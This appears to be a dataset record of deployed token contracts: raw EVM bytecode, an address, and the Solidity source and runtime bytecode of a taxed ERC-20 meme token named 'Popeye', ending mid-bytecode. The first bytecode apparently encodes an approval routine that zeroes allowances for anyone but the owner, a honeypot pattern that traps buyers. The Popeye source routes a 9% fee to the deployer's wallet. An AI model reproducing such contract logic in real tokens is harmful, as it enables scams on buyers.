0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209761502e319f21cfeefbc38ce2c95029436b72686b91c5229ffd9d762c26fb6264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,415 |
0xB76f3BC1003CD667407Af7890d1FE0530961384b
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/PopeyeErc20
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="POPEYE";
string constant TOKEN_NAME="Popeye";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Popeye is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600681526020017f506f706579650000000000000000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f504f504559450000000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a6